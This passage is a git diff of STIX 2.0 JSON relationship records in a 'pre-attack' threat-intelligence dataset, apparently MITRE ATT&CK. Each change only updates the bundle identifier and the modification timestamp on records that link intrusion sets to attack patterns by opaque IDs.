-    "id": "bundle--8a1b7340-b403-4cae-ba51-d1593c6313ad",
+    "id": "bundle--d4493e57-544e-4a02-b95a-7f93dd256fd5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7c68bb22-457e-4942-9e07-36f6cd5ac5ba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--eb517589-eefc-480e-b8e3-7a8b1066f6f1",
diff --git a/pre-attack/relationship/relationship--7da16587-3861-4404-9043-0076e4766ac4.json b/pre-attack/relationship/relationship--7da16587-3861-4404-9043-0076e4766ac4.json
index 33db4df73a..182d19face 100644
--- a/pre-attack/relationship/relationship--7da16587-3861-4404-9043-0076e4766ac4.json
+++ b/pre-attack/relationship/relationship--7da16587-3861-4404-9043-0076e4766ac4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--69e59280-235d-429b-9e8a-5ebff59eb0ab",
+    "id": "bundle--933bbe24-4b83-4ed5-8c37-2527e6fb9856",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7da16587-3861-4404-9043-0076e4766ac4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
             "target_ref": "attack-pattern--9a8c47f6-ae69-4044-917d-4b1602af64d9",
diff --git a/pre-attack/relationship/relationship--84943231-1b44-4029-ae09-0dbf05440bef.json b/pre-attack/relationship/relationship--84943231-1b44-4029-ae09-0dbf05440bef.json
index c331422a04..3aec012ed1 100644
--- a/pre-attack/relationship/relationship--84943231-1b44-4029-ae09-0dbf05440bef.json
+++ b/pre-attack/relationship/relationship--84943231-1b44-4029-ae09-0dbf05440bef.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--22bd8f2b-443c-436a-bc15-abc1266444a8",
+    "id": "bundle--12b4c2fa-f9a6-461b-b44a-c5732eb45b1c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--84943231-1b44-4029-ae09-0dbf05440bef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97",
diff --git a/pre-attack/relationship/relationship--87239038-7693-49b3-b595-b828cc2be1ba.json b/pre-attack/relationship/relationship--87239038-7693-49b3-b595-b828cc2be1ba.json
index b6c3e14dbe..33eb213ff5 100644
--- a/pre-attack/relationship/relationship--87239038-7693-49b3-b595-b828cc2be1ba.json
+++ b/pre-attack/relationship/relationship--87239038-7693-49b3-b595-b828cc2be1ba.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--de9d44fb-a761-4cbc-a07a-8923bc182a83",
+    "id": "bundle--00e8b65e-82bf-4113-ae0c-a32467f358ed",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--87239038-7693-49b3-b595-b828cc2be1ba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--103d72e6-7e0d-4b3a-9373-c38567305c33",
             "target_ref": "attack-pattern--eacd1efe-ee30-4b03-b58f-5b3b1adfe45d",
diff --git a/pre-attack/relationship/relationship--89754a0d-03b1-44e3-94c5-7a892d171a28.json b/pre-attack/relationship/relationship--89754a0d-03b1-44e3-94c5-7a892d171a28.json
index 1aa6ec7934..b7bf50d489 100644
--- a/pre-attack/relationship/relationship--89754a0d-03b1-44e3-94c5-7a892d171a28.json
+++ b/pre-attack/relationship/relationship--89754a0d-03b1-44e3-94c5-7a892d171a28.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c7e3cbe8-2ef8-4bd1-81e8-d3c9a2e10f9c",
+    "id": "bundle--792ef9a4-5e6a-4996-bd91-4305c518efdd",
     "spec_version": "2.0",
     "objects": [
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@@ -8,7 +8,7 @@
             "id": "relationship--89754a0d-03b1-44e3-94c5-7a892d171a28",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae",
             "target_ref": "attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877",
diff --git a/pre-attack/relationship/relationship--8a2549fa-9e7c-4d47-9678-8ed0bb8fa3aa.json b/pre-attack/relationship/relationship--8a2549fa-9e7c-4d47-9678-8ed0bb8fa3aa.json
index 59bdd767aa..d398e87885 100644
--- a/pre-attack/relationship/relationship--8a2549fa-9e7c-4d47-9678-8ed0bb8fa3aa.json
+++ b/pre-attack/relationship/relationship--8a2549fa-9e7c-4d47-9678-8ed0bb8fa3aa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0fc9a191-b7e4-443b-9ca1-795a7afc375d",
+    "id": "bundle--9c1c48bf-d144-4f4c-88db-8cd55395211b",
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     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8a2549fa-9e7c-4d47-9678-8ed0bb8fa3aa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--15d5eaa4-597a-47fd-a692-f2bed434d904",
diff --git a/pre-attack/relationship/relationship--8a2c46d3-92f2-4ff7-a912-8d47189a7d79.json b/pre-attack/relationship/relationship--8a2c46d3-92f2-4ff7-a912-8d47189a7d79.json
index 65a1841fff..3e3bc2d330 100644
--- a/pre-attack/relationship/relationship--8a2c46d3-92f2-4ff7-a912-8d47189a7d79.json
+++ b/pre-attack/relationship/relationship--8a2c46d3-92f2-4ff7-a912-8d47189a7d79.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--32ae5078-580e-4ca9-8cd2-027b6a295f16",
+    "id": "bundle--1c14a6e5-0ef0-47ee-a379-9b9b11881d48",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8a2c46d3-92f2-4ff7-a912-8d47189a7d79",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b",
diff --git a/pre-attack/relationship/relationship--8bcaccd1-403b-40f1-82d3-ac4d873263f8.json b/pre-attack/relationship/relationship--8bcaccd1-403b-40f1-82d3-ac4d873263f8.json
index c7d18e11b1..1a4129e748 100644
--- a/pre-attack/relationship/relationship--8bcaccd1-403b-40f1-82d3-ac4d873263f8.json
+++ b/pre-attack/relationship/relationship--8bcaccd1-403b-40f1-82d3-ac4d873263f8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e14520ad-78af-40da-b934-54981f10d643",
+    "id": "bundle--189ce2d4-ccb1-4c96-b7de-3518279ced9a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8bcaccd1-403b-40f1-82d3-ac4d873263f8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84",
             "target_ref": "attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1",
diff --git a/pre-attack/relationship/relationship--90d7f0f0-6e41-431a-a024-9375cbc18d2b.json b/pre-attack/relationship/relationship--90d7f0f0-6e41-431a-a024-9375cbc18d2b.json
index d92f1d7005..39761d9648 100644
--- a/pre-attack/relationship/relationship--90d7f0f0-6e41-431a-a024-9375cbc18d2b.json
+++ b/pre-attack/relationship/relationship--90d7f0f0-6e41-431a-a024-9375cbc18d2b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e1739ca7-8964-4dbb-84a5-1542ed8ecb8d",
+    "id": "bundle--df2fefc2-5581-4511-b91b-c7f76214e0d8",
     "spec_version": "2.0",
     "objects": [
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@@ -8,7 +8,7 @@
             "id": "relationship--90d7f0f0-6e41-431a-a024-9375cbc18d2b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--df42286d-dfbd-4455-bc9d-aef52ac29aa7",
diff --git a/pre-attack/relationship/relationship--94daf955-fb3e-4f13-af60-0e3ffa185be0.json b/pre-attack/relationship/relationship--94daf955-fb3e-4f13-af60-0e3ffa185be0.json
index 4bdb90d565..38fe473800 100644
--- a/pre-attack/relationship/relationship--94daf955-fb3e-4f13-af60-0e3ffa185be0.json
+++ b/pre-attack/relationship/relationship--94daf955-fb3e-4f13-af60-0e3ffa185be0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9b90dbf2-b6f8-4095-84e0-74a800cb967a",
+    "id": "bundle--c27e36e0-7f15-4314-b248-c1df01642e2f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--94daf955-fb3e-4f13-af60-0e3ffa185be0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe",
             "target_ref": "attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c",
diff --git a/pre-attack/relationship/relationship--9524754d-7743-47b3-8395-3cbfb633c020.json b/pre-attack/relationship/relationship--9524754d-7743-47b3-8395-3cbfb633c020.json
index c20bf2f295..e4284d5fcf 100644
--- a/pre-attack/relationship/relationship--9524754d-7743-47b3-8395-3cbfb633c020.json
+++ b/pre-attack/relationship/relationship--9524754d-7743-47b3-8395-3cbfb633c020.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a5556456-e31a-4049-880b-4fb122a2d9e2",
+    "id": "bundle--4af83acc-b900-4f2e-832f-4d066c76b303",
     "spec_version": "2.0",
     "objects": [
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@@ -8,7 +8,7 @@
             "id": "relationship--9524754d-7743-47b3-8395-3cbfb633c020",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549",
             "target_ref": "attack-pattern--73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a",
diff --git a/pre-attack/relationship/relationship--970531a2-4927-41a3-b2cd-09d445322f51.json b/pre-attack/relationship/relationship--970531a2-4927-41a3-b2cd-09d445322f51.json
index e815a2dadd..e69bfc5193 100644
--- a/pre-attack/relationship/relationship--970531a2-4927-41a3-b2cd-09d445322f51.json
+++ b/pre-attack/relationship/relationship--970531a2-4927-41a3-b2cd-09d445322f51.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7475ecf7-2ea2-4920-ac7d-73ef9b352911",
+    "id": "bundle--d3979d01-bc16-422b-9ccb-b203aee6d614",
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@@ -8,7 +8,7 @@
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-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--ec739e26-d097-4804-b04a-54dd81ff11e0",
diff --git a/pre-attack/relationship/relationship--984d13eb-ba9c-4e7c-8675-85dde9877a81.json b/pre-attack/relationship/relationship--984d13eb-ba9c-4e7c-8675-85dde9877a81.json
index 1c1d0d0a50..9647a3c42b 100644
--- a/pre-attack/relationship/relationship--984d13eb-ba9c-4e7c-8675-85dde9877a81.json
+++ b/pre-attack/relationship/relationship--984d13eb-ba9c-4e7c-8675-85dde9877a81.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e999dbbc-25bf-4061-82f2-5441bef0924c",
+    "id": "bundle--d6256299-7c06-41b6-86c5-b37ddad67301",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--984d13eb-ba9c-4e7c-8675-85dde9877a81",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--af358cad-eb71-4e91-a752-236edc237dae",
             "target_ref": "attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5",
diff --git a/pre-attack/relationship/relationship--9a1f729c-72a9-4735-9d48-ecb54ea018a9.json b/pre-attack/relationship/relationship--9a1f729c-72a9-4735-9d48-ecb54ea018a9.json
index ebfda298b8..e709146b69 100644
--- a/pre-attack/relationship/relationship--9a1f729c-72a9-4735-9d48-ecb54ea018a9.json
+++ b/pre-attack/relationship/relationship--9a1f729c-72a9-4735-9d48-ecb54ea018a9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--883877de-2d06-4ead-b433-9cb084552dba",
+    "id": "bundle--8f215de7-fc33-4d0f-a6f4-501cf86d08a7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9a1f729c-72a9-4735-9d48-ecb54ea018a9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6",
             "target_ref": "attack-pattern--286cc500-4291-45c2-99a1-e760db176402",
diff --git a/pre-attack/relationship/relationship--9ad9966d-4a8d-4b15-b503-c5d27104fcdd.json b/pre-attack/relationship/relationship--9ad9966d-4a8d-4b15-b503-c5d27104fcdd.json
index 4236532171..11f2103448 100644
--- a/pre-attack/relationship/relationship--9ad9966d-4a8d-4b15-b503-c5d27104fcdd.json
+++ b/pre-attack/relationship/relationship--9ad9966d-4a8d-4b15-b503-c5d27104fcdd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6ef34b8d-939f-41c9-b3b4-873bb86a8ea0",
+    "id": "bundle--cd02d454-7b73-4168-a84e-c44b7f19416c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9ad9966d-4a8d-4b15-b503-c5d27104fcdd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--78e41091-d10d-4001-b202-89612892b6ff",
             "target_ref": "attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c",
diff --git a/pre-attack/relationship/relationship--9af7194c-1eea-4aef-bab1-49bd29be069c.json b/pre-attack/relationship/relationship--9af7194c-1eea-4aef-bab1-49bd29be069c.json
index 81cf7a61d3..b6a252abb9 100644
--- a/pre-attack/relationship/relationship--9af7194c-1eea-4aef-bab1-49bd29be069c.json
+++ b/pre-attack/relationship/relationship--9af7194c-1eea-4aef-bab1-49bd29be069c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eb23ff5b-0f26-46e1-afec-469da318271a",
+    "id": "bundle--66c4a939-7a23-4134-9ec0-503cc93ad4cf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9af7194c-1eea-4aef-bab1-49bd29be069c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--f4c5d1d9-8f0e-46f1-a9fa-f9a440926046",
diff --git a/pre-attack/relationship/relationship--9c44b2ec-70b0-4f5c-800e-426477330658.json b/pre-attack/relationship/relationship--9c44b2ec-70b0-4f5c-800e-426477330658.json
index ff1b31305a..29e19cb616 100644
--- a/pre-attack/relationship/relationship--9c44b2ec-70b0-4f5c-800e-426477330658.json
+++ b/pre-attack/relationship/relationship--9c44b2ec-70b0-4f5c-800e-426477330658.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--73c6aa25-5c22-4c98-bc01-6cc0b94db673",
+    "id": "bundle--2d738c5a-4e93-4008-902f-45596f9397dd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9c44b2ec-70b0-4f5c-800e-426477330658",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c",
             "target_ref": "attack-pattern--78e41091-d10d-4001-b202-89612892b6ff",
diff --git a/pre-attack/relationship/relationship--9c87b627-de61-42da-a658-7bdb33358754.json b/pre-attack/relationship/relationship--9c87b627-de61-42da-a658-7bdb33358754.json
index 2c135d6aa3..fa3bb4db03 100644
--- a/pre-attack/relationship/relationship--9c87b627-de61-42da-a658-7bdb33358754.json
+++ b/pre-attack/relationship/relationship--9c87b627-de61-42da-a658-7bdb33358754.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3d435ad8-d238-4820-93ef-61d042c57e24",
+    "id": "bundle--498db295-f84c-4746-acd9-2900dfbaa9e6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9c87b627-de61-42da-a658-7bdb33358754",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae",
             "target_ref": "attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39",
diff --git a/pre-attack/relationship/relationship--a071fc8f-6323-420b-9812-b51f12fc7956.json b/pre-attack/relationship/relationship--a071fc8f-6323-420b-9812-b51f12fc7956.json
index 60e787544b..4cfef10417 100644
--- a/pre-attack/relationship/relationship--a071fc8f-6323-420b-9812-b51f12fc7956.json
+++ b/pre-attack/relationship/relationship--a071fc8f-6323-420b-9812-b51f12fc7956.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ca7c116a-6f2a-4b6f-b188-6d82b5518e52",
+    "id": "bundle--5cb2a326-3ee9-492c-aa5f-c269934c96ec",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a071fc8f-6323-420b-9812-b51f12fc7956",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877",
diff --git a/pre-attack/relationship/relationship--a29f2adc-c328-4cf3-9984-2c0c72ec7061.json b/pre-attack/relationship/relationship--a29f2adc-c328-4cf3-9984-2c0c72ec7061.json
index 144e7f4a15..af64438a2a 100644
--- a/pre-attack/relationship/relationship--a29f2adc-c328-4cf3-9984-2c0c72ec7061.json
+++ b/pre-attack/relationship/relationship--a29f2adc-c328-4cf3-9984-2c0c72ec7061.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3e69b415-e887-44eb-8265-be7092e2f03d",
+    "id": "bundle--512ec1e0-6840-498b-91b8-75589953f6e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a29f2adc-c328-4cf3-9984-2c0c72ec7061",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--78e41091-d10d-4001-b202-89612892b6ff",
             "target_ref": "attack-pattern--59369f72-3005-4e54-9095-3d00efcece73",
diff --git a/pre-attack/relationship/relationship--a34c16e9-bc7e-45f5-a9a2-8b05d868e6a0.json b/pre-attack/relationship/relationship--a34c16e9-bc7e-45f5-a9a2-8b05d868e6a0.json
index 532cb3aba0..3ca2e00e18 100644
--- a/pre-attack/relationship/relationship--a34c16e9-bc7e-45f5-a9a2-8b05d868e6a0.json
+++ b/pre-attack/relationship/relationship--a34c16e9-bc7e-45f5-a9a2-8b05d868e6a0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7610364b-7c21-4042-933b-15ce2cd09ac8",
+    "id": "bundle--7786a863-4839-4b6e-91d8-e206d616c03a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a34c16e9-bc7e-45f5-a9a2-8b05d868e6a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--9755ecdc-deb0-40e6-af49-713cb0f8ed92",
diff --git a/pre-attack/relationship/relationship--a7f177e4-7e7f-4883-af3d-c95db9ea7a53.json b/pre-attack/relationship/relationship--a7f177e4-7e7f-4883-af3d-c95db9ea7a53.json
index e0fc11137d..4bf0cf8105 100644
--- a/pre-attack/relationship/relationship--a7f177e4-7e7f-4883-af3d-c95db9ea7a53.json
+++ b/pre-attack/relationship/relationship--a7f177e4-7e7f-4883-af3d-c95db9ea7a53.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--353fb939-b82c-4bfd-8e07-7b27aeb34d1f",
+    "id": "bundle--741d534a-34ed-4d2f-8e5d-a07b7bb1aa09",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--a7f177e4-7e7f-4883-af3d-c95db9ea7a53",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05",
             "target_ref": "attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f",
diff --git a/pre-attack/relationship/relationship--ab313887-ff00-4aa9-8edb-ab107c517c19.json b/pre-attack/relationship/relationship--ab313887-ff00-4aa9-8edb-ab107c517c19.json
index cd8571e445..30ddf91f42 100644
--- a/pre-attack/relationship/relationship--ab313887-ff00-4aa9-8edb-ab107c517c19.json
+++ b/pre-attack/relationship/relationship--ab313887-ff00-4aa9-8edb-ab107c517c19.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--92e32451-05fa-4816-b451-8f8a9413593d",
+    "id": "bundle--77091644-d713-4554-8d80-54bd60f2bd2d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ab313887-ff00-4aa9-8edb-ab107c517c19",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84",
             "target_ref": "attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407",
diff --git a/pre-attack/relationship/relationship--ab356c7a-6922-4143-90eb-5be632e2f6cd.json b/pre-attack/relationship/relationship--ab356c7a-6922-4143-90eb-5be632e2f6cd.json
index e7cfea6f2e..4e947dcd34 100644
--- a/pre-attack/relationship/relationship--ab356c7a-6922-4143-90eb-5be632e2f6cd.json
+++ b/pre-attack/relationship/relationship--ab356c7a-6922-4143-90eb-5be632e2f6cd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0743c241-2faf-44e1-8b7e-282ed0cfaa70",
+    "id": "bundle--9875488e-1120-4193-a8e9-d81f8a3bcc16",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ab356c7a-6922-4143-90eb-5be632e2f6cd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4",
diff --git a/pre-attack/relationship/relationship--ac1dfc58-d5a2-4b6f-9bf4-c6c0d2d3ae80.json b/pre-attack/relationship/relationship--ac1dfc58-d5a2-4b6f-9bf4-c6c0d2d3ae80.json
index 9bda00f189..a9592b88c5 100644
--- a/pre-attack/relationship/relationship--ac1dfc58-d5a2-4b6f-9bf4-c6c0d2d3ae80.json
+++ b/pre-attack/relationship/relationship--ac1dfc58-d5a2-4b6f-9bf4-c6c0d2d3ae80.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e7e75b2c-52ab-4f52-a43c-c188d529a6af",
+    "id": "bundle--e9838475-449d-492c-a21c-a1ddc7c56611",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ac1dfc58-d5a2-4b6f-9bf4-c6c0d2d3ae80",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a",
             "target_ref": "attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549",
diff --git a/pre-attack/relationship/relationship--ad510f42-e745-42d0-8b54-4bf7a2f3cf34.json b/pre-attack/relationship/relationship--ad510f42-e745-42d0-8b54-4bf7a2f3cf34.json
index 2f3be1f277..4c2a5c268c 100644
--- a/pre-attack/relationship/relationship--ad510f42-e745-42d0-8b54-4bf7a2f3cf34.json
+++ b/pre-attack/relationship/relationship--ad510f42-e745-42d0-8b54-4bf7a2f3cf34.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d168a5a1-d165-474b-8674-25bd2f67118d",
